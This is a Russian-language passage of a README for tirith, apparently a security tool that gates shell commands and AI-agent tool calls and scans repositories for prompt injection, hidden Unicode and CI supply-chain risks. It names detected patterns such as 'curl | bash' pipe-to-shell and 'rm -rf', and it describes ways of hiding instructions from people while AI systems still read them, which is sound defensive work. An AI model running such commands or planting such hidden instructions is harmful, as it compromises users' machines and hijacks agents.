`tirith mcp lock` фиксирует каждый MCP-сервер, объявленный репозиторием, в `.mcp.json` / `mcp.json` / `mcp_settings.json` и вариантах конфигурации IDE (`.vscode/`, `.cursor/`, `.windsurf/`, `.cline/`, `.amazonq/`, `.continue/`, `.kiro/`), в детерминированный lockfile по пути `.tirith/mcp.lock`. Каждый сервер записывается с его транспортом (удалённый URL или локальная команда + аргументы), объявленными инструментами, метаданными покрытия и хешем содержимого; серверы сортируются по имени/источнику, чтобы lockfile был удобен для diff. Неоднозначные или содержащие учётные данные объявления отклоняются, а не копируются в систему контроля версий. Значения окружения и userinfo URL представлены только фиксированными маркерами присутствия, никогда не сырыми значениями или детерминированными хешами: добавление/удаление переменной или userinfo всё равно вызывает дрейф, тогда как ротация секретов намеренно не вызывает. Lockfile V7 требует одного явного повторного lock для миграции на эту модель приватности v8. Обнаружение выполняется только локально в репозитории и не обращается к сети. (`tirith mcp` — это отдельная группа команд от `tirith mcp-server`, которая запускает tirith *как* MCP-сервер.)
`tirith mcp verify` — это управляющий компаньон: он перестраивает текущий инвентарь относительно зафиксированного lockfile и завершается с кодом 1 при дрейфе или неполном/отклонённом покрытии конфигурации (0 при совпадении, 2 при ошибках использования, например отсутствующем lockfile). `tirith mcp diff` сообщает о том же дрейфе информационно (всегда код выхода 0, 2 только при ошибках использования, чтобы потребитель мог отличить «нет дрейфа» от «не удалось проверить»). Дрейф также проявляется через `tirith scan` как `mcp_server_drift` (Medium или High), так что pre-commit хук или CI ловит изменение MCP-поверхности так же, как ловит незакреплённый action. `verify` / `diff` никогда не печатают значения env или userinfo URL, только имена того, что изменилось.
Два поля политики управляют тем, что принимается. Оба ключуются непрозрачной идентичностью `mcp:v1:...`, связывающей путь источника, имя сервера и транспорт: `scan.trusted_mcp_servers` подавляет находки конфигурации и дрейф именно этого сервера, а `scan.mcp_allowed_tools` объявляет точные инструменты, которые он может предоставлять. Голые имена намеренно не совпадают ни с чем, поэтому одноимённый сервер в другой конфигурации не может унаследовать доверие. Явный allow-list инструментов также требует одобренного оператором набора живых дескрипторов и проверяет как статические объявления, так и имена живых дескрипторов. Запустите `tirith mcp policy init`, чтобы создать точные ключи в `.tirith/mcp-policy.yaml.example`, затем используйте поток `--mcp-server-identity ... --approve-descriptors` шлюза, чтобы атомарно зафиксировать проверенную базовую линию `tools/list`. Каждая запись шаблона закомментирована, поэтому импорт никогда не расширяет доверие молча.
### Сканирование конфигурационных файлов
`tirith scan` обнаруживает инъекции промптов и скрытые полезные нагрузки в конфигурационных файлах AI. Он приоритизирует и сканирует 50+ известных шаблонов конфигурационных файлов AI:
- `.cursorrules`, `.windsurfrules`, `.clinerules`, `CLAUDE.md`, `copilot-instructions.md`
- Настройки, агенты, навыки, плагины, правила `.claude/`
- Конфигурации `.cursor/`, `.vscode/`, `.windsurf/`, `.cline/`, `.continue/`, `.roo/`, `.codex/`
- `mcp.json`, `.mcp.json`, `mcp_settings.json`
- `.github/copilot-instructions.md`, `.github/agents/*.md`
**Что он ловит в конфигурациях:**
- **Инъекция промптов** (триггеры активации навыков, попытки обхода разрешений, отклонение мер безопасности, переназначение идентичности, инструкции переопределения между инструментами). Каждый файл сканируется как в сыром, так и в деобфусцированном виде (невидимые символы, конфузабельные символы, межсимвольные пробелы, leetspeak, короткий base64 / hex), поэтому замаскированная под кодированием закладка всё равно срабатывает
- **Невидимый Unicode**: символы нулевой ширины (включая Mongolian Vowel Separator), bidi-управляющие символы, мягкие переносы, Unicode-теги, заполнители Hangul, кодирование невидимыми пробелами, математические буквенно-цифровые конфузабельные символы
- **Проблемы конфигурации MCP**: небезопасные HTTP-соединения, серверы с необработанными IP, метасимволы оболочки в аргументах, дублирующиеся имена серверов, доступ к инструментам с подстановочными знаками
### Сканирование цепочки поставок CI / репозитория
`tirith scan` также проверяет файлы, которые репозиторий фиксирует для описания собственного конвейера сборки и развёртывания. Он обнаруживает опасный *шаблон*, а не инструмент: action, закреплённый по SHA, образ, закреплённый по digest, локальный модуль Terraform и обычный `package.json` остаются чистыми.
**Что он ловит в файлах CI / инфраструктуры:**
- **Рабочие процессы GitHub Actions** (`.github/workflows/*.yml`), ссылка `uses:` action, закреплённая на изменяемой ссылке (`@v3`, `@main`) вместо commit SHA; триггер `pull_request_target`; `curl … | bash` pipe-to-shell в шаге `run:`; контролируемое злоумышленником значение `${{ github.event.* }}`, интерполированное в шаг оболочки `run:` (инъекция скрипта)
- **Dockerfiles**: базовый образ `FROM` на изменяемом теге `latest` (или без тега) без закрепления по digest `@sha256:`
- **Terraform** (`*.tf`), блок `module` с источником из удалённого / недоверенного расположения, а не из локального пути или Terraform Registry
- **Helm-чарты** (`Chart.yaml`), зависимость чарта из недоверенного репозитория чартов
- **`package.json`**: lifecycle-скрипт `preinstall` / `install` / `postinstall`, выполняющий опасную команду (pipe-to-shell, обфусцированная полезная нагрузка, загрузка-и-запуск); эти хуки запускаются автоматически при `npm install`
Три встроенных значения `--profile` настраивают сканирование: `ci-hardening` (каждая проверка на полную силу, fail-on `high`), `ai-agent-repo` (сохраняет находки инъекций, отбрасывает низкоценный шум гигиены закрепления) и `oss-maintainer` (подчёркивает контролируемый участниками риск при проверке изменения).```bash
tirith scan ./ # scan the repo
tirith scan --profile ci-hardening ./ # tune for CI/CD hardening
tirith scan --format sarif ./ > out.sarif
Обнаружение скрытого содержимого
Обнаруживает содержимое, невидимое для людей, но читаемое ИИ в HTML, Markdown и PDF:
- Скрытие через CSS:
display:none,visibility:hidden,opacity:0,font-size:0, позиционирование за пределами экрана - Скрытие через цвет: белый текст на белом фоне, близкие цвета переднего плана и фона (коэффициент контрастности < 1.5:1)
- Комментарии HTML/Markdown: фразы для инъекции промптов (High), деструктивные команды вроде
rm -rfилиcurl|bash(Medium), длинные комментарии, скрывающие инструкции (Low) - Скрытый текст в PDF: текст, отрисованный с субпиксельным размером (font-size < 1px), невидимый для читателей, но разбираемый LLM
Сканирование скрытого содержимого в файлах, значимых для ИИ
tirith scan также проверяет типы файлов, которые читает и на которые реагирует ИИ-агент для программирования (или средство отрисовки), в поисках содержимого, пронесённого мимо проверки человеком. Обычный блокнот, обычный CLAUDE.md с видимыми инструкциями и простой SVG-файл остаются чистыми, срабатывает только скрытое / пронесённое содержимое.
- Jupyter-блокноты (
*.ipynb), невидимые / bidi / нулевой ширины символы в исходнике ячейки, blob в кодировке base64, встроенный в исходник, ячейка, скрытая от отрисованного представления (metadata.jupyter.source_hidden/ тегhide_input), и выводы ячеек, несущие невидимые символы или активный / скрытый HTML - Файлы инструкций для ИИ-агентов (
CLAUDE.md,AGENTS.md,.cursorrulesи подобные), только скрытые директивы: инструкция внутри HTML-комментария (невидимая в отрисованном Markdown) или визуально скрытый HTML-элемент. Эти файлы законно содержат видимые инструкции, поэтому обычные видимые инструкции никогда не срабатывают - SVG-изображения (
*.svg), встроенный<script>, встроенный обработчик событийon*, URIjavascript:, удалённыйxlink:href/hrefили объявление внешней сущности XXE
Обнаружение клоакинга
tirith fetch сравнивает ответы сервера для 6 user-agent (Chrome, ClaudeBot, ChatGPT-User, PerplexityBot, Googlebot, curl), чтобы обнаружить, когда серверы отдают разное содержимое ИИ-ботам и браузерам.
Операционный контекст и защита рабочей станции
Помимо отдельных команд, несколько групп команд расширяют шлюз на ваш операционный контекст и состояние рабочей станции. Те, что затрагивают горячий путь, включаются по желанию (флаг политики); остальные запускаются по требованию.
Операционный контекст (tirith context, ssh, iac, sudo). Пометьте свои prod-контексты облака / Kubernetes и SSH-хосты один раз, и tirith будет эскалировать то, что важно: деструктивная команда против помеченного prod-контекста, SSH к помеченному prod-хосту, apply Terraform / Pulumi / OpenTofu без соответствующего сохранённого плана или эскалация sudo без обоснованного окна сессии. Метки хранятся в ~/.config/tirith/context-labels.yaml и ssh-host-labels.yaml (или в области репозитория в .tirith/).
Гигиена рабочей станции (tirith hygiene, persistence, aliases, env, exec, path, hooks). Сканирование файлов учётных данных с нестрогими правами доступа и токенов в открытом виде (~/.ssh, ~/.aws, ~/.kube, .npmrc, .pypirc), сравнение точек закрепления, используемых атакующим (shell rc, authorized_keys, crontab, LaunchAgents / systemd-user units, git core.hooksPath), пометка алиасов, которые затеняют критичные команды или читают учётные данные, аудит $PATH на порядок перехвата и отчёт о происхождении бинарника (владелец пакета, подпись кода, затеняет ли он системную команду).
Радиус поражения и изоляция (tirith preview, watch, temp-run, taint, intend, baseline). Предпросмотр влияния деструктивной команды на файловую систему до её запуска, сравнение того, что команда фактически изменила после, запуск недоверенной команды во временном каталоге и отслеживание файлов, загруженных из рискованных источников, чтобы последующий запуск одного из них вызвал срабатывание. temp-run меняет только рабочий каталог; это изоляция файлов, а не песочница.
Доверие, аттестация и реагирование на инциденты
- Аттестации команд (
tirith command-card) подписывают заведомо хорошую команду ключом ed25519; доверенная карта, которая больше не соответствует команде, вызывает High. - Манифест команд репозитория (
tirith commands) — это allowlist.tirith/commands.yaml, который заглушает примечание о неизвестной команде для одобренных команд и добавляет списокdangerous[]только для эскалации (он может ужесточить вердикт, но никогда не ослабить его). - Honeytokens (
tirith canary) размещают явно синтетические канареечные токены; касание в любой проверяемой команде, вставке или выводе инструмента вызывает High. Обнаружение — это поиск в локальном хранилище, а не сопоставление по форме. - Ротация секретов (
tirith secret) читает недавние находки учётных данных из вашего журнала аудита и выводит шаги ротации / отзыва для конкретных провайдеров для 11 провайдеров. Он сам никогда ничего не ротирует и не делает сетевых вызовов. - Режим инцидента (
tirith incident) объявляет состояние «под атакой»: он принудительно включаетfail_mode: closed, отключает обходTIRITH=0и повышает правила credential-sweep, decode-execute и suspicious-binary, пока вы его не остановите.
Безопасность вывода, вставки и обмена
- Защита направления вывода (
tirith view,tirith output,gateway run --filter-outputи безопасный по умолчаниюmcp-server) нейтрализует escape-последовательности терминального обмана в выводе команд, инструментов MCP и чтения ресурсов: записи в буфер обмена OSC 52, поддельные приглашения, несоответствие гиперссылок OSC 8 и манипуляции с заголовком / очисткой экрана. Он также сканирует вывод на инъекцию промптов (сырую и деобфусцированную) и маяки эксфильтрации данных. Добавляйте собственные seed-значения черезinjection_seeds_customи включайте по желанию редактирование блока MCP, содержащего только инъекцию, до предупреждения (вместо блокировки всего вывода) с помощьюmcp_redact_injection. Устаревший обходной путьmcp-server --unsafe-unsanitized-tool-outputне рекомендуется. - Редактирование с учётом аудитории (
tirith share,tirith redact,tirith logs) удаляет секреты и идентификаторы клиентов / тенантов перед вставкой в GitHub issue, Slack, LLM или публичную вставку. - Происхождение вставки (
tirith paste --with-source,tirith browser). С установленным сопутствующим хостом native-messaging для Chrome tirith связывает вставленную команду с её исходной страницей и помечает вставку, чей исходный хост отличается от места запуска команды.
Установка
macOS
Homebrew:```bash brew install tirith
### Пакеты Linux
**Debian / Ubuntu (.deb):**
Скачайте со страницы [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest), затем:```bash
sudo dpkg -i tirith_*_amd64.deb
Fedora / RHEL / CentOS 8+ и Amazon Linux 2023 (.rpm):
Скачайте со страницы GitHub Releases, затем:```bash sudo dnf install ./tirith-*.rpm
Бинарные файлы релиза Linux GNU ориентированы на потолок GLIBC 2.28. CI запускает
tarball-архивы как для x86_64, так и для aarch64 на AlmaLinux 8, Amazon Linux 2023 и Rocky Linux
9; `.deb` и x86_64 `.rpm` содержат те же канонические бинарные файлы.
**Arch Linux (AUR):**```bash
yay -S tirith
# or: paru -S tirith
Nix:```bash nix profile install nixpkgs#tirith # from nixpkgs nix profile install github:sheeki03/tirith # from upstream flake
or try without installing: nix run github:sheeki03/tirith -- --version
### Android (Termux)
Android/Termux работает на Bionic libc, а не на glibc, поэтому сборка `aarch64-unknown-linux-gnu`
не может там запуститься — ей нужен динамический компоновщик glibc. Вместо неё используйте сборку
**musl**: `tirith-aarch64-unknown-linux-musl.tar.gz` статически скомпонована и работает
в Termux без внешней libc.```bash
# In Termux:
pkg install curl tar
# Download the musl build from the latest GitHub release:
curl -fsSL -o tirith.tar.gz \
https://github.com/sheeki03/tirith/releases/latest/download/tirith-aarch64-unknown-linux-musl.tar.gz
tar xzf tirith.tar.gz
install -Dm755 tirith "$PREFIX/bin/tirith"
tirith --version
Затем активируйте shell-хук в ~/.bashrc (оболочка по умолчанию в Termux — bash):```bash
eval "$(tirith init --shell bash)" # add to ~/.bashrc
> [!NOTE]
> Поддержка Termux осуществляется по мере возможности. Артефакт musl собирается и проходит дымовое тестирование в
> CI, но tirith пока не тестируется непрерывно на реальном устройстве Android.
> Если хук ведёт себя некорректно под Termux, пожалуйста, откройте issue с выводом `tirith doctor`.
### Windows
Windows поддерживает обнаружение, сканирование, вебхуки, управление политиками, загрузку аудита
и `tirith setup`. Хук PowerShell обеспечивает предварительную перехватку PSReadLine,
но не заявляет о строгом подтверждении выполнения после принятия.
Выполнение удалённых скриптов в реальном времени и режим демона остаются недоступными в Windows.
**Scoop:**```powershell
scoop bucket add tirith https://github.com/sheeki03/scoop-tirith
scoop install tirith
Chocolatey (репозиторий сообщества):```powershell choco install tirith
Upgrade an existing Chocolatey installation:
choco upgrade tirith
Модерация Chocolatey может отставать от релиза на GitHub. Выполните `choco info tirith`, чтобы
увидеть текущую одобренную версию. Используйте Scoop или подписанный артефакт из
[GitHub Releases](https://github.com/sheeki03/tirith/releases/latest), когда
требуется самая новая версия до завершения модерации Chocolatey.
### Кроссплатформенная установка
**npm:**```bash
npm install -g tirith
Cargo:```bash cargo install tirith
**[Mise](https://mise.jdx.dev/)** (официальный реестр):```bash
mise use -g tirith
asdf:```bash asdf plugin add tirith https://github.com/sheeki03/asdf-tirith.git asdf install tirith latest asdf global tirith latest
**Docker:**```bash
docker run --rm ghcr.io/sheeki03/tirith check -- "curl https://example.com | bash"
Активация
Добавьте в профиль вашей оболочки (.zshrc, .bashrc или config.fish):```bash
eval "$(tirith init --shell zsh)" # in ~/.zshrc
eval "$(tirith init --shell bash)" # in ~/.bashrc
tirith init --shell fish | source # in ~/.config/fish/config.fish
| Shell | Тип хука | Проверено на |
|-------|-----------|-----------|
| zsh | accept-line + виджеты вставки | 5.8+ |
| bash | макрос клавиши Enter или preexec (два режима) | путь совместимости с 3.2; 5.0+ для полностью протестированного современного пути |
| fish | Обработчики клавиши Enter + вставки | 3.5+ |
| PowerShell | Обработчик PSReadLine | 7.0+ |
Bash использует режим enter, когда самотестирование возможностей доказало его работоспособность для вашего bash, и preexec в противном случае. Начиная с 0.4.1 это самотестирование проходит на стандартном GNU bash, поэтому режим enter является обычным результатом после запуска `tirith setup` или `tirith doctor`; хук оболочки считывает кэшированный вердикт при запуске. См. [устранение неполадок](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md#bash-enter-mode-vs-preexec-mode) для подробностей о режимах, самотестировании и поведении при отказе SSH.
Системный Bash 3.2 в macOS остаётся путём совместимости, а не современной
базовой линией блокировки. Его поведение с ловушкой DEBUG может помешать
закреплению трамплина; Tirith объявляет о возникшей деградации, когда его
heartbeat может её наблюдать, что может произойти на одну команду позже.
Используйте Bash 5+ или проверенный путь режима enter, когда требуется
строгий шлюз авторизации Bash.
> [!WARNING]
> Режим preexec в Bash по умолчанию только предупреждает. Установите `TIRITH_BASH_PREEXEC_ENFORCE=1` для условной блокировки. Tirith сканирует доверенную введённую строку один раз, включает собственный `extdebug` только после вердикта о блокировке и снимает его до запуска `PROMPT_COMMAND`. Если границы приглашения или принадлежащая вызывающему ловушка DEBUG не могут быть безопасно сохранены, или `extdebug` уже включён пользователем, Tirith наглядно оставляет перехват preexec выключенным вместо перезаписи состояния оболочки.
#### Принудительное применение по оболочкам
| Shell | Поведение |
|---|---|
| bash **режим enter** | **Надёжная блокировка.** Привязывает Enter к макросу readline, который запускает проверку, а затем защищённый accept-line, так что команда может быть остановлена до того, как bash решит её выполнить. Выбирается везде, где самотестирование возможностей (`tirith doctor --simulate-enter`) доказало доставку и блокировку для работающего bash, что начиная с 0.4.1 верно для стандартного GNU bash. Сохранённый флаг безопасного режима, сессия SSH или принудительный `TIRITH_BASH_MODE=preexec` всё ещё выбирают preexec. |
| bash **preexec + `TIRITH_BASH_PREEXEC_ENFORCE=1`** | **Условная блокировка.** Сканирует одну доверенную целую строку, затем включает принадлежащий Tirith `extdebug` только для блокировки и восстанавливает его на следующем приглашении. Существующие строковые/массивные записи `PROMPT_COMMAND` сохраняют свой порядок и выполняются вне сканирования. Принудительное применение наглядно отказывает или понижает уровень, когда история фильтруется или alias / подстановка команды / `eval` заставляют введённую строку расходиться с `BASH_COMMAND`; небезопасное владение приглашением/DEBUG или принадлежащий пользователю `extdebug` оставляет перехват явно выключенным вместо изменения пользовательского состояния. |
| bash **preexec** (без флага enforce) | Только предупреждение. Выводит баннер DETECTED на рискованных командах; не блокирует. Резервный вариант, когда самотестирование режима enter не доказало работоспособность доставки, или когда режим enter иным образом недоступен. |
| zsh, fish | Надёжная блокировка в их обработчиках Enter/accept-line, до передачи нативной оболочке. События preexec только для уведомлений не рассматриваются как шлюзы авторизации. |
| PowerShell | Надёжная предварительная блокировка PSReadLine; без строгой квитанции выполнения. |
| nushell | Только предупреждение (в настоящее время не поддерживает перехват команд). |
Для блокировки на уровне строки в bash запустите `tirith doctor --simulate-enter`; если доставка работает, режим enter включается. Там, где она не работает, используйте preexec enforce для «блокирует, когда возможно; честно сообщает, когда не может».
Интерактивные bash, zsh и fish используют квитанцию выполнения протокола v3 после
решения предварительной проверки. При загрузке хука они разрешают и закрепляют один
абсолютный исполняемый файл Tirith и регистрируют одноразовую возможность, привязанную к
живому процессу оболочки, семейству оболочек, сессии, пользователю и идентичности
исполняемого файла. Затем квитанция проходит через состояния `Prepared`, `Armed`,
`Consuming` и терминальное `Committed`/`Conflict`/`Discarded`. Это улучшает
атрибуцию и устойчивость к повторному воспроизведению, но свидетельство оболочки
намеренно записывается как неразрешённое, а не как доказательство того, что каждый
компонент команды выполнился. Tirith сам владеет любым запросом одобрения или
подтверждения предупреждения до возврата вооружённой квитанции; хук не может
присоединить эти факты позже. Zsh и fish потребляют вооружённую квитанцию синхронно
в том же обработчике принятия строки и передают команду нативной оболочке только
после успешного перехода. PowerShell имеет предварительную блокировку без этого
строгого протокола квитанций.
Вложенная оболочка получает собственную привязанную к процессу возможность, даже
когда она наследует ID сессии. Повторный sourcing хука в том же процессе никогда не
создаёт ещё один bearer. Если `exec` заменяет живую оболочку без изменения её
PID/идентичности запуска, замена не может восстановить намеренно неэкспортированный
bearer и работает в наглядно деградировавшем устаревшем режиме; запустите новый
терминал или дочернюю оболочку, чтобы восстановить строгие квитанции. `exec "$SHELL"`
не является перезапуском протокола квитанций, поскольку он сохраняет эту
идентичность процесса.
**Nix / Home-Manager:** tirith должен быть в вашем `$PATH`, когда хук выполняется
через sourcing. Bash, zsh и fish затем закрепляют этот разрешённый исполняемый файл
для сессии оболочки; перезапустите оболочку после замены или обновления бинарника.
Добавления только в `initContent` недостаточно.```nix
home.packages = [ pkgs.tirith ];
programs.zsh.initContent = ''
eval "$(tirith init --shell zsh)"
'';
Обновление и проверка tirith
tirith может проверять собственную целостность и обновлять себя. Обе команды обращаются к сети только при их запуске.```bash tirith verify-self # is this binary the genuine, unmodified release? tirith update # update to the latest release tirith version --provenance # version, build info, install method, verification
**`tirith verify-self`** подтверждает, что запущенный бинарный файл является подлинным, неизменённым бинарным файлом из официального релиза. Он повторно скачивает архив релиза для вашей версии и целевой платформы, проверяет его по подписанному релизному файлу `checksums.txt`, проверяет подпись cosign для `checksums.txt`, если установлен [`cosign`](https://github.com/sigstore/cosign), и подтверждает, что запущенный бинарный файл побайтово идентичен официальному. Если полная проверка невозможна — локальная dev-сборка, отсутствие сети, установка, которую tirith не может идентифицировать, — он честно сообщает об этом, а не выдаёт ложный статус "verified". При отсутствии `cosign` контрольная сумма всё равно проверяется (сообщается как `verified-checksum-only`); установите `cosign` для полной проверки подписи (`verified-signed`).
**`tirith update`** учитывает пакетные менеджеры:
- **Установки через пакетные менеджеры** (Homebrew, cargo, npm, Scoop, AUR, apt/dnf) никогда не изменяются самостоятельно. Вместо этого tirith выводит точную команду для запуска, например `brew upgrade tirith`. Обновление через пакетный менеджер сохраняет согласованность его базы данных.
- **Самостоятельно заменяемые установки** (tarball из `install.sh`, автономный бинарный файл или безопасно принадлежащий релиз Tirith, закэшированный в корне Hermes (`HERMES_HOME` или `~/.hermes`, когда эта переменная не задана; только Unix)) обновляются на месте: tirith скачивает последний релиз, проверяет его, затем атомарно заменяет бинарный файл, сохраняя предыдущий как sidecar-файл `tirith.tirith-previous`. Подпись cosign проверяется **по умолчанию**: если её невозможно проверить (cosign отсутствует или релиз не опубликовал подпись), обновление прерывается. Передайте `--allow-unsigned`, чтобы перейти к проверке только по контрольной сумме; несовпадение контрольной суммы всегда прерывает обновление независимо ни от чего. `tirith update --rollback` возвращает предыдущий бинарный файл; `--dry-run` показывает, что произойдёт, ничего не изменяя. Обновления остаются явными: Tirith никогда не проверяет и не устанавливает новый бинарный файл в фоновом режиме.
> [!NOTE]
> Скрипты установки (`scripts/install.sh` и Windows-скрипт `install.ps1`) также проверяют подпись cosign релиза **по умолчанию** и прерываются, если [`cosign`](https://github.com/sigstore/cosign) отсутствует или подпись невозможно проверить. Сначала установите `cosign` или задайте `TIRITH_ALLOW_UNSIGNED=1`, чтобы установить с проверкой только по контрольной сумме (не рекомендуется). Несовпадение контрольной суммы или подписи всегда прерывает установку независимо от этого отказа.
### Интеграции с оболочками
**Oh-My-Zsh:**```bash
git clone https://github.com/sheeki03/ohmyzsh-tirith \
${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith
# Add tirith to plugins in ~/.zshrc:
plugins=(... tirith)
Интеграции с AI-агентами
Используйте tirith setup <tool> для настройки одной командой. Это полный
именованный набор настройки, включающий как более ранние интеграции, так и
дополнения, выпущенные в 0.4.0:
| Хост | Настройка | Слой защиты, устанавливаемый при настройке | Область действия |
|---|---|---|---|
| Claude Code | tirith setup claude-code --with-mcp | Блокирующий PreToolUse; MCP опционально | Проект по умолчанию или пользователь |
| Cline | tirith setup cline | Блокирующий PreToolUse на POSIX и PowerShell, плюс MCP; хост запускает инструмент, если процесс хука завершается с ошибкой | Только пользователь; хуки должны быть включены в Cline |
| OpenAI Codex | tirith setup codex | Шлюз MCP; опциональная неинтерактивная защита zsh с --install-zshenv | Только пользователь |
| GitHub Copilot CLI | tirith setup copilot-cli | Блокирующий хук preToolUse | Только проект; запуск из корня репозитория |
| Continue | tirith setup continue | Только MCP | Только проект |
| Cursor | tirith setup cursor | Хук beforeShellExecution плюс шлюз MCP; опциональная защита zsh | Проект по умолчанию или пользователь |
| Vercel Labs fx | tirith setup fx | Только MCP | Только доверенный профиль пользователя |
| Gemini CLI | tirith setup gemini-cli --with-mcp | Блокирующий BeforeTool; MCP опционально | Проект по умолчанию или пользователь |
| Grok Build | tirith setup grok-build | POSIX PreToolUse плюс MCP; хост может отказать при ошибке/тайм-ауте хука | Проект по умолчанию или пользователь |
| Kiro CLI | tirith setup kiro | Блокирующий хук preToolUse с областью действия агента | Проект по умолчанию или пользователь; агент с включённым Tirith должен быть загружен |
| OMP / Oh My Pi | tirith setup omp | Блокирующая защита tool_call плюс MCP | Только пользователь/профиль |
| OpenClaw | tirith setup openclaw | Блокирующий плагин before_tool_call | Проект по умолчанию или пользователь |
| OpenCode | tirith setup opencode | Только MCP | Проект по умолчанию или пользователь |
| OpenHands CLI | tirith setup openhands | POSIX хук pre_tool_use плюс пользовательский MCP; хост может отказать при ошибке хука | Пользователь по умолчанию; хук проекта также поддерживается |
| Pi CLI | tirith setup pi-cli | Блокирующее расширение tool_call | Проект по умолчанию или пользователь |
| Prime Agent | tirith setup prime-agent | Блокирующая защита bash/IPython плюс MCP | Только пользователь |
| Roo Code | tirith setup roo-code | Только MCP | Только проект |
| VS Code | tirith setup vscode | Хук рабочей области плюс шлюз MCP; опциональная защита zsh | Только проект |
| Windsurf | tirith setup windsurf | Хук pre_run_command плюс шлюз MCP; опциональная защита zsh | Только пользователь |
Строка только с MCP предоставляет инструменты Tirith, но не заставляет хост вызывать их.
Строка с хуком работает автоматически только после того, как хост загрузил сгенерированный артефакт
и по-прежнему соблюдает его контракт отказа. Запустите tirith doctor, перезапустите хост
и выполните проверку разрешения/блокировки в форме хоста после настройки и каждого обновления.
Полные пути к конфигурации, правила приоритета, поведение при отказе и шаги проверки
описаны в
матрице интеграции агентов и доверия.
См. mcp/clients/ для доступных руководств по конкретным хостам.
Интеграция с CI/CD
GitHub Action с загрузкой SARIF на вкладку безопасности GitHub:```yaml
- uses: sheeki03/[email protected] with: version: 0.4.2 fail_on: high sarif: true
Закреплённые зависимости действия используют среду выполнения Node 24. Самостоятельно размещённые
раннеры должны использовать [Actions Runner v2.327.1 или новее](https://github.com/actions/runner/releases/tag/v2.327.1);
раннеры, размещённые на GitHub, уже соответствуют этому требованию.
Также доступно как **pre-commit hook**: см. `.pre-commit-hooks.yaml` в этом репозитории.
Scan поддерживает фильтры `--include`, `--exclude`, `--profile` (загружает именованные профили из политики) и `--ignore` для целевого сканирования в CI.
### Документация правил```bash
tirith explain --rule pipe_to_interpreter # severity, examples, remediation, MITRE ATT&CK
tirith explain --rule curl_pipe_shell --fix # just the remediation ("what to do instead")
tirith explain --list --category terminal # all rules in a category
Исправление, «что запускать вместо этого»
Каждое обнаружение содержит рекомендацию по исправлению для каждого правила: короткую, точную строку «как сделать это безопасным», отображаемую под каждым обнаружением (Fix:) и в --format json.
tirith explain --rule <id> --fix выводит эту рекомендацию отдельно.
Когда команда заблокирована или выдано предупреждение, tirith check --suggest дополнительно
выводит рекомендацию по исправлению для фактической команды. Она включает конкретную исполняемую
перезапись только для узкого механического преобразования, итоговая команда которого проверена
в рамках той же действующей политики:```bash
tirith check --suggest -- 'curl -fsSL https://example-cli.dev/i.sh | bash'
→ try: '/usr/local/bin/tirith' run --capsule --script-stdin --interpreter bash \
'https://example-cli.dev/i.sh'
В x86_64 Linux, когда Tirith установлен по фиксированному системному пути, управляемому root, и URL команды, оболочка, аргументы и поведение stdin могут быть точно декодированы, перезапись направляет pipe-to-shell через ограниченный, проверенный, верифицированный по хешу, отказоустойчивый capsule runner Tirith. Абсолютный путь Tirith предотвращает изменение того, что запускается, из-за последующего перекрытия `PATH`. При выполнении runner также требует, чтобы первый результат поиска в `PATH` для выбранного интерпретатора управлялся root, привязывает его байты до загрузки и сохраняет эту оболочку вместо доверия удалённому shebang. Другие архитектуры, платформы и пользовательские установки Tirith сохраняют это исправление как рекомендацию. Для curl исполняемые перезаписи дополнительно требуют как семантики fail-on-HTTP-error, так и следования перенаправлениям (`-f` и `-L`, включая связку, например `-fsSL`). Динамические или некорректные URL-токены, неподдерживаемые аргументы интерпретатора, PowerShell, Cmd и неоднозначные конвейеры остаются только рекомендациями. Исполняемые предложения ограничены проверенным, отказоустойчивым pipe runner. Исправления для архивов, dotfile, удаления TLS-флагов, изменений HTTP на HTTPS, сужения sudo, очистки окружения и исправлений имён пакетов являются только рекомендациями, поскольку их точная семантика оболочки, сети, привилегий, окружения или реестра недоказуема механически. Для любой находки без безопасной механической перезаписи Tirith прямо сообщает об этом и показывает исправление вместо этого; он никогда не выдаёт угаданную команду. Флаг носит рекомендательный характер: он не меняет ни вердикт, ни код выхода.
### Режим демона (Unix)
Опциональный фоновый процесс для задержки менее миллисекунды и обогащения с учётом сети (разрешение сокращённых URL, проверки по DNS-блоклистам):```bash
tirith daemon start # tirith check auto-delegates when running
tirith daemon stop
[!NOTE] Режим демона на данный момент доступен только в Unix.
Команды
Повседневные команды:
| Команда | Что она делает |
|---|---|
tirith check -- <cmd> | Анализирует команду без её выполнения (--suggest добавляет рекомендации по исправлению и, после проверки, узкое механическое переписывание) |
tirith paste | Проверяет вставленное содержимое (вызывается автоматически хуками оболочки) |
tirith scan [path] | Сканирует файлы, каталоги и конфигурации (--profile, --format sarif, --ci) |
tirith run [--capsule] <url> | Проверяет удалённый скрипт (--no-exec в Unix); живое выполнение в Linux по умолчанию изолировано и работает по принципу fail-closed, используя точные проверенные байты из запечатанного анонимного дескриптора (--capsule — устаревшее совместимое написание) |
tirith fix -- <cmd> | Интерактивно применяет проверенное fail-closed переписывание pipe-runner, когда оно доступно; в противном случае показывает рекомендации |
tirith score <url> / diff <url> | Разбирает сигналы доверия URL или показывает, где скрываются подозрительные символы |
tirith explain --rule <id> / why | Документация по правилам и рекомендации по исправлению или объяснение последнего срабатывания |
tirith status / doctor | Вы защищены? Диагностирует установку, хуки и политику (--fix, --quick) |
tirith setup <tool> / init | Настройка AI-инструмента одной командой или вывод хука оболочки |
tirith policy {init,validate,test} | Создание каркаса, проверка и пробный запуск вашей политики |
tirith trust {add,list,remove} | Управление доверенными шаблонами (узкая область действия, TTL 30 дней по умолчанию) |
tirith threat-db update | Загрузка и проверка подписанной базы данных угроз |
tirith package risk <eco> <name> | Оценка риска цепочки поставок пакета |
tirith ecosystem scan [path] | Оценка каждой объявленной зависимости в проекте |
tirith package inspect --artifact <wheel> | Проверка точных байтов Python-артефакта, стартовых хуков, нативного кода, целостности RECORD и цепочек выполнения между wheel-файлами |
tirith pkg {approve,install,verify-env} | Одобрение, привязка по хешу, изоляция, установка и проверка Python-пакетов на поддерживаемых хостах x86_64 Linux |
tirith mcp {lock,verify} | Фиксация и контроль MCP-серверов репозитория |
tirith gateway run | Проксирование вышестоящего MCP-сервера и обеспечение соблюдения настроенных границ запросов/вывода |
tirith daemon start | Фоновый демон для более быстрых проверок (Unix) |
Явные, опциональные поверхности. Ни одна из них не запускается неявно, и ни у одной нет демона или фонового монитора:
| Команда | Что она делает |
|---|---|
